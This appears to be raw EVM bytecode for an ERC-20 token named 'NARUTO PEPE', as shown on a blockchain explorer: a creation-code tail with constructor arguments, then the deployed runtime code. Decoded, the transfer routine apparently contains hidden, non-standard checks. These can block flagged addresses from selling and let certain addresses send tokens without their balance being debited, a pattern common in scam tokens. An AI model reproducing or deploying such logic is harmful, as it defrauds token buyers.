3243565b811461341557600080fd5b50565b60008135905061342781613401565b92915050565b600080604083850312156134445761344361316f565b5b6000613452858286016131c2565b925050602061346385828601613418565b9150509250929050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6134aa826130f9565b810181811067ffffffffffffffff821117156134c9576134c8613472565b5b80604052505050565b60006134dc613165565b90506134e882826134a1565b919050565b600067ffffffffffffffff82111561350857613507613472565b5b602082029050602081019050919050565b600080fd5b600061353161352c846134ed565b6134d2565b9050808382526020820190506020840283018581111561355457613553613519565b5b835b8181101561357d578061356988826131c2565b845260208401935050602081019050613556565b5050509392505050565b600082601f83011261359c5761359b61346d565b5b81356135ac84826020860161351e565b91505092915050565b6000602082840312156135cb576135ca61316f565b5b600082013567ffffffffffffffff8111156135e9576135e8613174565b5b6135f584828501613587565b91505092915050565b600080604083850312156136155761361461316f565b5b6000613623858286016131c2565b9250506020613634858286016131c2565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061368557607f821691505b6020821081036136985761369761363e565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006136d46020836130be565b91506136df8261369e565b602082019050919050565b60006020820190508181036000830152613703816136c7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006137448261307f565b915061374f8361307f565b925082820261375d8161307f565b915082820484148315176137745761377361370a565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006137b58261307f565b91506137c08361307f565b9250826137d0576137cf61377b565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b6000613837602f836130be565b9150613842826137db565b604082019050919050565b600060208201905081810360008301526138668161382a565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006138c96028836130be565b91506138d48261386d565b604082019050919050565b600060208201905081810360008301526138f8816138bc565b9050919050565b600061390a8261307f565b91506139158361307f565b925082820190508082111561392d5761392c61370a565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061398f6025836130be565b915061399a82613933565b604082019050919050565b600060208201905081810360008301526139be81613982565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000613a216024836130be565b9150613a2c826139c5565b604082019050919050565b60006020820190508181036000830152613a5081613a14565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000613a918261307f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613ac357613ac261370a565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613b2a6026836130be565b9150613b3582613ace565b604082019050919050565b60006020820190508181036000830152613b5981613b1d565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613bbc6024836130be565b9150613bc782613b60565b604082019050919050565b60006020820190508181036000830152613beb81613baf565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613c4e6022836130be565b9150613c5982613bf2565b604082019050919050565b60006020820190508181036000830152613c7d81613c41565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000613ce06035836130be565b9150613ceb82613c84565b604082019050919050565b60006020820190508181036000830152613d0f81613cd3565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613d4c6013836130be565b9150613d5782613d16565b602082019050919050565b60006020820190508181036000830152613d7b81613d3f565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613dde6036836130be565b9150613de982613d82565b604082019050919050565b60006020820190508181036000830152613e0d81613dd1565b9050919050565b6000613e1f8261307f565b9150613e2a8361307f565b9250828203905081811115613e4257613e4161370a565b5b92915050565b6000606082019050613e5d6000830186613089565b613e6a6020830185613089565b613e776040830184613089565b949350505050565b600081905092915050565b50565b6000613e9a600083613e7f565b9150613ea582613e8a565b600082019050919050565b6000613ebb82613e8d565b9150819050919050565b600081519050613ed4816131d7565b92915050565b600060208284031215613ef057613eef61316f565b5b6000613efe84828501613ec5565b91505092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613f636025836130be565b9150613f6e82613f07565b604082019050919050565b60006020820190508181036000830152613f9281613f56565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613ff56023836130be565b915061400082613f99565b604082019050919050565b6000602082019050818103600083015261402481613fe8565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006140876026836130be565b91506140928261402b565b604082019050919050565b600060208201905081810360008301526140b68161407a565b9050919050565b6000815190506140cc816131ab565b92915050565b6000602082840312156140e8576140e761316f565b5b60006140f6848285016140bd565b91505092915050565b6000819050919050565b600061412461411f61411a846140ff565b6132a6565b61307f565b9050919050565b61413481614109565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61416f81613199565b82525050565b60006141818383614166565b60208301905092915050565b6000602082019050919050565b60006141a58261413a565b6141af8185614145565b93506141ba83614156565b8060005b838110156141eb5781516141d28882614175565b97506141dd8361418d565b9250506001810190506141be565b5085935050505092915050565b600060a08201905061420d6000830188613089565b61421a602083018761412b565b818103604083015261422c818661419a565b905061423b60608301856133a0565b6142486080830184613089565b9695505050505050565b600060c08201905061426760008301896133a0565b6142746020830188613089565b614281604083018761412b565b61428e606083018661412b565b61429b60808301856133a0565b6142a860a0830184613089565b979650505050505050565b6000806000606084860312156142cc576142cb61316f565b5b60006142da86828701613ec5565b93505060206142eb86828701613ec5565b92505060406142fc86828701613ec5565b915050925092509256fea264697066735822122031cc9de8c145f50193c2570dcdd53b65100c6add1e24d1a1876755f3c778b4d264736f6c63430008130033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000006f6f7d3f37f52f2c048ca527bdd0be21bed23893000000000000000000000000000000000000000000000000000000000000000b4e415255544f2050455045000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b4e415255544f2050455045000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106102765760003560e01c8063715018a61161014f578063b62496f5116100c1578063e2f456051161007a578063e2f45605146109a7578063e5c96aa4146109d2578063f11a24d3146109fb578063f2fde38b14610a26578063f637434214610a4f578063f8b45b0514610a7a5761027d565b8063b62496f514610885578063c18bc195146108c2578063c8c8ebe4146108eb578063d43a632f14610916578063d85ba0631461093f578063dd62ed3e1461096a5761027d565b806395d89b411161011357806395d89b41146107615780639d1f645a1461078c5780639ec22c0e146107b5578063a457c2d7146107e0578063a4c82a001461081d578063a9059cbb146108485761027d565b8063715018a61461069e57806375f0a874146106b55780637bce5a04146106e05780638da5cb5b1461070b57806392136913146107365761027d565b806323b872dd116101e857806339509351116101ac578063395093511461056657806349bd5a5e146105a35780634a62bb65146105ce5780634fbee193146105f95780636a486a8e1461063657806370a08231146106615761027d565b806323b872dd1461047d57806327c8f835146104ba5780632c3e486c146104e55780632e82f1a014610510578063313ce5671461053b5761027d565b806318160ddd1161023a57806318160ddd1461037d578063184c16c5146103a8578063199ffc72146103d35780631a8145bb146103fe5780631f3fed8f14610429578063203e727e146104545761027d565b806304f77cfa1461028257806306fdde03146102ad578063095ea7b3146102d857806310d5de53146103155780631694505e146103525761027d565b3661027d57005b600080fd5b34801561028e57600080fd5b50610297610aa5565b6040516102a49190613098565b60405180910390f35b3480156102b957600080fd5b506102c2610aab565b6040516102cf9190613143565b60405180910390f35b3480156102e457600080fd5b506102ff60048036038101906102fa9190613203565b610b3d565b60405161030c919061325e565b60405180910390f35b34801561032157600080fd5b5061033c60048036038101906103379190613279565b610b5b565b604051610349919061325e565b60405180910390f35b34801561035e57600080fd5b50610367610b7b565b6040516103749190613305565b60405180910390f35b34801561038957600080fd5b50610392610b9f565b60405161039f9190613098565b60405180910390f35b3480156103b457600080fd5b506103bd610ba9565b6040516103ca9190613098565b60405180910390f35b3480156103df57600080fd5b506103e8610baf565b6040516103f59190613098565b60405180910390f35b34801561040a57600080fd5b50610413610bb5565b6040516104209190613098565b60405180910390f35b34801561043557600080fd5b5061043e610bbb565b60405161044b9190613098565b60405180910390f35b34801561046057600080fd5b5061047b60048036038101906104769190613320565b610bc1565b005b34801561048957600080fd5b506104a4600480360381019061049f919061334d565b610ceb565b6040516104b1919061325e565b60405180910390f35b3480156104c657600080fd5b506104cf610de3565b6040516104dc91906133af565b60405180910390f35b3480156104f157600080fd5b506104fa610de9565b6040516105079190613098565b60405180910390f35b34801561051c57600080fd5b50610525610def565b604051610532919061325e565b60405180910390f35b34801561054757600080fd5b50610550610e02565b60405161055d91906133e6565b60405180910390f35b34801561057257600080fd5b5061058d60048036038101906105889190613203565b610e0b565b60405161059a919061325e565b60405180910390f35b3480156105af57600080fd5b506105b8610eb7565b6040516105c591906133af565b60405180910390f35b3480156105da57600080fd5b506105e3610edb565b6040516105f0919061325e565b60405180910390f35b34801561060557600080fd5b50610620600480360381019061061b9190613279565b610eee565b60405161062d919061325e565b60405180910390f35b34801561064257600080fd5b5061064b610f44565b6040516106589190613098565b60405180910390f35b34801561066d57600080fd5b5061068860048036038101906106839190613279565b610f4a565b6040516106959190613098565b60405180910390f35b3480156106aa57600080fd5b506106b3610f92565b005b3480156106c157600080fd5b506106ca6110ea565b6040516106d791906133af565b60405180910390f35b3480156106ec57600080fd5b506106f5611110565b6040516107029190613098565b60405180910390f35b34801561071757600080fd5b50610720611116565b60405161072d91906133af565b60405180910390f35b34801561074257600080fd5b5061074b611140565b6040516107589190613098565b60405180910390f35b34801561076d57600080fd5b50610776611146565b6040516107839190613143565b60405180910390f35b34801561079857600080fd5b506107b360048036038101906107ae919061342d565b6111d8565b005b3480156107c157600080fd5b506107ca6112ca565b6040516107d79190613098565b60405180910390f35b3480156107ec57600080fd5b5061080760048036038101906108029190613203565b6112d0565b604051610814919061325e565b60405180910390f35b34801561082957600080fd5b506108326113bb565b60405161083f9190613098565b60405180910390f35b34801561085457600080fd5b5061086f600480360381019061086a9190613203565b6113c1565b60405161087c919061325e565b60405180910390f35b34801561089157600080fd5b506108ac60048036038101906108a79190613279565b6113df565b6040516108b9919061325e565b60405180910390f35b3480156108ce57600080fd5b506108e960048036038101906108e49190613320565b6113ff565b005b3480156108f757600080fd5b50610900611503565b60405161090d9190613098565b60405180910390f35b34801561092257600080fd5b5061093d600480360381019061093891906135b5565b611509565b005b34801561094b57600080fd5b5061095461159e565b6040516109619190613098565b60405180910390f35b34801561097657600080fd5b50610991600480360381019061098c91906135fe565b6115a4565b60405161099e9190613098565b60405180910390f35b3480156109b357600080fd5b506109bc61162b565b6040516109c99190613098565b60405180910390f35b3480156109de57600080fd5b506109f960048036038101906109f4919061342d565b611631565b005b348015610a0757600080fd5b50610a10611723565b604051610a1d9190613098565b60405180910390f35b348015610a3257600080fd5b50610a4d6004803603810190610a489190613279565b611729565b005b348015610a5b57600080fd5b50610a646118ef565b604051610a719190613098565b60405180910390f35b348015610a8657600080fd5b50610a8f6118f5565b604051610a9c9190613098565b60405180910390f35b60185481565b606060038054610aba9061366d565b80601f0160208091040260200160405190810160405280929190818152602001828054610ae69061366d565b8015610b335780601f10610b0857610100808354040283529160200191610b33565b820191906000526020600020905b815481529060010190602001808311610b1657829003601f168201915b5050505050905090565b6000610b51610b4a6118fb565b8484611903565b6001905092915050565b601b6020528060005260406000206000915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b600e5481565b600b5481565b60175481565b60165481565b610bc96118fb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4f906136ea565b60405180910390fd5b670de0b6b3a76400006103e86001610c6e610b9f565b610c789190613739565b610c8291906137aa565b610c8c91906137aa565b811015610cce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc59061384d565b60405180910390fd5b670de0b6b3a764000081610ce29190613739565b60088190555050565b6000610cf8848484611acc565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610d436118fb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610dc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dba906138df565b60405180910390fd5b610dd785610dcf6118fb565b858403611903565b60019150509392505050565b61dead81565b600c5481565b600a60009054906101000a900460ff1681565b60006009905090565b6000610ead610e186118fb565b848460016000610e266118fb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ea891906138ff565b611903565b6001905092915050565b7f0000000000000000000000002f719a6a05c40a98df2dffe12d3a526ab26ca4d881565b601960009054906101000a900460ff1681565b6000601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60135481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610f9a6118fb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611029576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611020906136ea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60115481565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60145481565b6060600480546111559061366d565b80601f01602080910402602001604051908101604052809291908181526020018280546111819061366d565b80156111ce5780601f106111a3576101008083540402835291602001916111ce565b820191906000526020600020905b8154815290600101906020018083116111b157829003601f168201915b5050505050905090565b6111e06118fb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461126f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611266906136ea565b60405180910390fd5b80601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600f5481565b600080600160006112df6118fb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561139c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611393906139a5565b60405180910390fd5b6113b06113a76118fb565b85858403611903565b600191505092915050565b600d5481565b60006113d56113ce6118fb565b8484611acc565b6001905092915050565b601c6020528060005260406000206000915054906101000a900460ff1681565b6114076118fb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148d906136ea565b60405180910390fd5b60058110156114da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d190613a37565b60405180910390fd5b6103e86114e5610b9f565b826114f09190613739565b6114fa91906137aa565b60098190555050565b60085481565b60005b815181101561159a576001601e600084848151811061152e5761152d613a57565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061159290613a86565b91505061150c565b5050565b60105481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60075481565b6116396118fb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bf906136ea565b60405180910390fd5b80601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60125481565b6117316118fb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b7906136ea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361182f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182690613b40565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60155481565b60095481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611972576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196990613bd2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036119e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d890613c64565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611abf9190613098565b60405180910390a3505050565b601960009054906101000a900460ff1615611ed257611ae9611116565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b575750611b27611116565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b905750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bca575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611be35750600560149054906101000a900460ff16155b15611ed157601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611c8b5750601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d3257600854811115611cd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ccc90613cf6565b60405180910390fd5b600954611ce183610f4a565b82611cec91906138ff565b1115611d2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2490613d62565b60405180910390fd5b611ed0565b601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611dd55750601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e2457600854811115611e1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1690613df4565b60405180910390fd5b611ecf565b601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611ece57600954611e8183610f4a565b82611e8c91906138ff565b1115611ecd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec490613d62565b60405180910390fd5b5b5b5b5b5b6000611edd30610f4a565b905060006007548210159050808015611f035750600560149054906101000a900460ff16155b8015611f595750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611faf5750601a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120055750601a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612049576001600560146101000a81548160ff02191690831515021790555061202d6126c8565b6000600560146101000a81548160ff0219169083151502179055505b600560149054906101000a900460ff161580156120af5750601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80156120c75750600a60009054906101000a900460ff165b80156120e25750600c54600d546120de91906138ff565b4210155b80156121385750601a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612147576121456128d5565b505b6000600560149054906101000a900460ff16159050601a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121fd5750601a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561220757600090505b6000811561241a57601c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561226a57506000601354115b1561230457612297606461228960135488612a9b90919063ffffffff16565b612ab190919063ffffffff16565b9050601354601554826122aa9190613739565b6122b491906137aa565b601760008282546122c591906138ff565b92505081905550601354601454826122dd9190613739565b6122e791906137aa565b601660008282546122f891906138ff565b925050819055506123f6565b601c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561235f57506000601054115b156123f55761238c606461237e60105488612a9b90919063ffffffff16565b612ab190919063ffffffff16565b90506010546012548261239f9190613739565b6123a991906137aa565b601760008282546123ba91906138ff565b92505081905550601054601154826123d29190613739565b6123dc91906137aa565b601660008282546123ed91906138ff565b925050819055505b5b600081111561240b5761240a873083612ac7565b5b80856124179190613e14565b94505b6000601d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541480156124b557508673ffffffffffffffffffffffffffffffffffffffff167f0000000000000000000000002f719a6a05c40a98df2dffe12d3a526ab26ca4d873ffffffffffffffffffffffffffffffffffffffff1614155b801561250a5750601e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561256857601854601d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125609190613e14565b925050819055505b6000601d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361260557846000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125fd9190613e14565b925050819055505b846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461265391906138ff565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516126b79190613098565b60405180910390a350505050505050565b60006126d330610f4a565b905060006016546017546126e791906138ff565b90506000808314806126f95750600082145b15612706575050506128d3565b60146007546127159190613739565b83111561272e57601460075461272b9190613739565b92505b6000600283601754866127419190613739565b61274b91906137aa565b61275591906137aa565b9050600061276c8286612d4690919063ffffffff16565b9050600047905061277c82612d5c565b60006127918247612d4690919063ffffffff16565b905060006127bc876127ae60165485612a9b90919063ffffffff16565b612ab190919063ffffffff16565b9050600081836127cc9190613e14565b9050600060178190555060006016819055506000861180156127ee5750600081115b1561283b576127fd8682612f99565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561858260175460405161283293929190613e48565b60405180910390a15b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff164760405161288190613eb0565b60006040518083038185875af1925050503d80600081146128be576040519150601f19603f3d011682016040523d82523d6000602084013e6128c3565b606091505b5050809750505050505050505050505b565b600042600d8190555060003073ffffffffffffffffffffffffffffffffffffffff166370a082317f0000000000000000000000002f719a6a05c40a98df2dffe12d3a526ab26ca4d86040518263ffffffff1660e01b815260040161293991906133af565b602060405180830381865afa158015612956573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061297a9190613eda565b905060006129a7612710612999600b5485612a9b90919063ffffffff16565b612ab190919063ffffffff16565b905060008111156129e0576129df7f0000000000000000000000002f719a6a05c40a98df2dffe12d3a526ab26ca4d861dead83612ac7565b5b60007f0000000000000000000000002f719a6a05c40a98df2dffe12d3a526ab26ca4d890508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b158015612a4d57600080fd5b505af1158015612a61573d6000803e3d6000fd5b505050507f454c91ae84fcc766ddda0dcb289f26b3d0176efeacf4061fc219fa6ca8c3048d60405160405180910390a16001935050505090565b60008183612aa99190613739565b905092915050565b60008183612abf91906137aa565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612b36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b2d90613f79565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612ba5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b9c9061400b565b60405180910390fd5b612bb0838383613075565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612c36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c2d9061409d565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612cc991906138ff565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612d2d9190613098565b60405180910390a3612d4084848461307a565b50505050565b60008183612d549190613e14565b905092915050565b6000600267ffffffffffffffff811115612d7957612d78613472565b5b604051908082528060200260200182016040528015612da75781602001602082028036833780820191505090505b5090503081600081518110612dbf57612dbe613a57565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612e64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e8891906140d2565b81600181518110612e9c57612e9b613a57565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612f01307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611903565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612f639594939291906141f8565b600060405180830381600087803b158015612f7d57600080fd5b505af1158015612f91573d6000803e3d6000fd5b505050505050565b612fc4307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611903565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b815260040161302b96959493929190614252565b60606040518083038185885af1158015613049573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061306e91906142b3565b5050505050565b505050565b505050565b6000819050919050565b6130928161307f565b82525050565b60006020820190506130ad6000830184613089565b92915050565b6